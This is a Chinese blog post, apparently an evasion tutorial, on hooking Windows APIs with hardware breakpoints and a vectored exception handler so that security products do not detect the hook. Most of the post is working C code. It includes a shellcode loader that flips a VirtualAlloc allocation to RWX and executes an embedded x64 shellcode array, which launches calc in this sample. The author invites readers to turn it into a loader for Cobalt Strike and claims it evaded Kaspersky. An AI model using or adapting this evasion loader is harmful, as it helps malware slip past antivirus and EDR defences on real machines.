当前位置: 首页 > article >正文

免杀笔记 ---> 无痕Hook?硬件断点 Syscall!

说到Hook,我们有很多Hook,像Inline-Hook,我们也是用的比较多,但是正如我上一篇Blog说的,他会对内存进行修改,如果EDR或者AV增加一个校验机制,不断检验某一块内存,那么就算你用syscall绕过了Ring3的Hook成功修改了内存也是会被扫描出来的! 

于是就有了今天的无痕Hook ---> 硬件断点

其实也是小编收到了粉丝的建议,于是赶出来了那个代码,但是这个技术是未公开的,所以小编就不放代码,但是会公布部分,以及一些细节(我也不想这个技术那么快没用,望理解😋)

但是效果还是可以展示的(卡巴斯基30minutes未杀,但是也不建议用CS对抗

目录

1.调试寄存器

1.DR0 - DR3

2.DR7

3.DR6

2.无痕Hook

​3.免杀!


1.调试寄存器

如上图,就是Windows的调试寄存器,它位于CPU中,我们讲一些比较重要的寄存器

1.DR0 - DR3

首先就是这三个寄存器了,这也是我们能使用的4个断点寄存器,它用来存储断点的地址

2.DR7

这个就是一个比较重要的寄存器了,我们从右往左去看

首先就是前八位,包含了L0 - L3 以及 G0 - G3,其中L是局部开关,G是全局开关,分别对应DR0 - DR3

然后就是R/W 和 LEN ,分别对应着读写域和 长度域

其中读写域(R/W)有四种状态 :

00 (硬件执行断点)

01  (硬件写入断点)

10  (IO中断)

11  (硬件访问断点)

其中长度域的状态

00 ---- 1字节

01 ----- 2字节

10 ----- 8字节

11 ----- 4字节

3.DR6

此寄存器可以用于描述硬件断点的情况,当我们在DR0下断点的时候,对应的B0就会变成1,DR1-3也是如此,那么如果B0-3都不为1的话,那么说明就是TF位为0的单步异常

2.无痕Hook

我们这里还是拿MessageBoxA来举例(好像每次受伤的都是它hhhh)

#include<Windows.h>
#include<stdio.j>

SIZE_T MessageBoxAddr = NULL;


LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == MessageBoxAddr)
	{
		const char* title		= "硬件断点Hook";
		const char* context		= "已经被Hook";
		pExcepInfo->ContextRecord->R8	= (unsigned long long)title;
		pExcepInfo->ContextRecord->Rdx	= (unsigned long long)context;
		
		// 清除硬件断点
		pExcepInfo->ContextRecord->Dr0 = 0;
		pExcepInfo->ContextRecord->Dr7 = 0x0;

		return EXCEPTION_CONTINUE_EXECUTION;
	}

	return EXCEPTION_CONTINUE_SEARCH;
}

void HardWareBreakPoint(HANDLE hThread)
{
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(hThread, &ctx);
	ctx.Dr0 = MessageBoxAddr;
	ctx.Dr7 = 0x00000001;
	SetThreadContext(hThread, &ctx);
}
int main()
{
MessageBoxAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);

//没有hook
MessageBoxA(NULL, "没有Hook", "不存在Hook",MB_OK);
// 硬件断点Hook
HardWareBreakPoint(GetCurrentThread());
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
//已去除硬件断点的Hook
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
}

其实思路就是如下

  • 先注册一个异常,用于断点处的操作(操作堆栈或者寄存器)
  • 然后写一个硬件断点,调试寄存器是你要断的地址
  • 然后当你的程序调用这个函数,或者说call这个地址的时候就会触发硬件断点(具体什么断点看你怎么设置,这里是硬件执行断点)
  • 然后就进入你的Veh函数进行处理

并且我们可以看见被Hook的时候,它的内存是没有任何的改变的,这一点就能很好的对抗CRC32检测内存Patch的规则!!

这里我们也可以用一个计算器的脚本来进行加深理解(此脚本完全可以改成Loader,自行研究)

#include<stdio.h>
#include<Windows.h>

//硬件断点Hook VirtualAlloc

SIZE_T virtualAllocAddr = NULL;
LPVOID testAddr			= NULL;

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == virtualAllocAddr)
	{
		//设置为可读可写可执行
		pExcepInfo->ContextRecord->R9 = PAGE_EXECUTE_READWRITE;

		// 清除硬件断点
		pExcepInfo->ContextRecord->Dr0 = 0;
		pExcepInfo->ContextRecord->Dr7 = 0x0;

		return EXCEPTION_CONTINUE_EXECUTION;
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

void HardWareBreakPoint(HANDLE hThread)
{
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(hThread, &ctx);
	ctx.Dr0 = virtualAllocAddr;
	ctx.Dr7 = 0x00000001;
	SetThreadContext(hThread, &ctx);
}


unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};



void DummyFunction()
{
	HardWareBreakPoint(GetCurrentThread());

	testAddr = VirtualAlloc(NULL, sizeof(Payload), MEM_COMMIT, PAGE_READWRITE);

	memcpy(testAddr, Payload, sizeof(Payload));
	
	printf("%p", testAddr);
	
	((void(*)())testAddr)();
	
}

int main()
{
	HANDLE hThread = NULL;
	//硬件断点无痕Hook VirtualAlloc
	virtualAllocAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualAlloc");

	AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
	

	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)DummyFunction, NULL, NULL, NULL);

	WaitForSingleObject(hThread, INFINITE);
	
	return 0;
}

可以看见我们一开始分配的rw内存也是在硬件断点Hook的情况下变成了RWX

并且计算器也是能成功弹出来的

并且我们的VirtualAlloc也是没有被Hook的(这里的Jmp并不是我们的操作,其他程序也会如此)

我们的程序 

系统自己的程序

3.免杀!

等了这么久,终于来到重头戏了,这里我不会详细讲,只是提个大体思路(聪明的你们应该能自己实现的吧😋😋) 

其实还是WBG大佬的脚本,不过是多次的升华,我们还是盯着VirtualAlloc 和Sleep这两函数

然后就是重点的Veh函数处理(这里的VirtualAlloc必须在获取反射dll和loader的产物那块地址之后进行 "脱钩" ,否则你后面BOF的执行会有问题,不用Bof当我没说。。。)

重点就是这两个啦,正所谓 "救赎之道,就在其中" 也正是我们的无痕断点,使得我们并不需要对内存进行Patch ,配合Syscall ,大家可以放心食用😊😋😋

此JMP并不是我的操作(并无对内存进行Patch)


http://www.kler.cn/a/320088.html

相关文章:

  • Linux-----线程操作(创建)
  • 从代码层面熟悉UniAD,开始学习了解端到端整体架构
  • wpa_cli命令使用记录
  • SpringBoot + Websocket实现系统用户消息通知
  • 音视频入门基础:RTP专题(1)——RTP官方文档下载
  • 提供的 IP 地址 10.0.0.5 和子网掩码位 /26 来计算相关的网络信息
  • Git 的安装和配置
  • Ubuntu下TexMaker发生CTeX fontset `fandol‘ is unavailable问题
  • SpringSecurity-用户认证
  • JAVA基础语法 day07
  • 全能通人工智能的能力评估框架-Levels of AGI: Operationalizing Progress on the Path to AGI
  • 欺诈文本分类检测(十六):支持分类原因评测改造
  • 面经 | 手写
  • 口语笔记——被动语态
  • spring boot 项目中redis的使用,key=value值 如何用命令行来查询并设置值。
  • 001、restful设计规范
  • OpenHarmony(鸿蒙南向)——平台驱动开发【SDIO】
  • golang雪花算法实现64位的ID
  • JWT(JSON Web Tokens) 详细介绍
  • LeetCode - 503 下一个更大元素 II
  • 使用iTextPDF库实现矩形框和打勾符号(√)
  • 【网络安全】更改参数实现试用计划延长
  • 国内可用ChatGPT-4中文镜像网站整理汇总【持续更新】
  • keepalived+lvs集群
  • 体育馆管理系统|基于SpingBoot+vue的体育馆管理系统(源码+数据库+文档)
  • 微信小程序-分包加载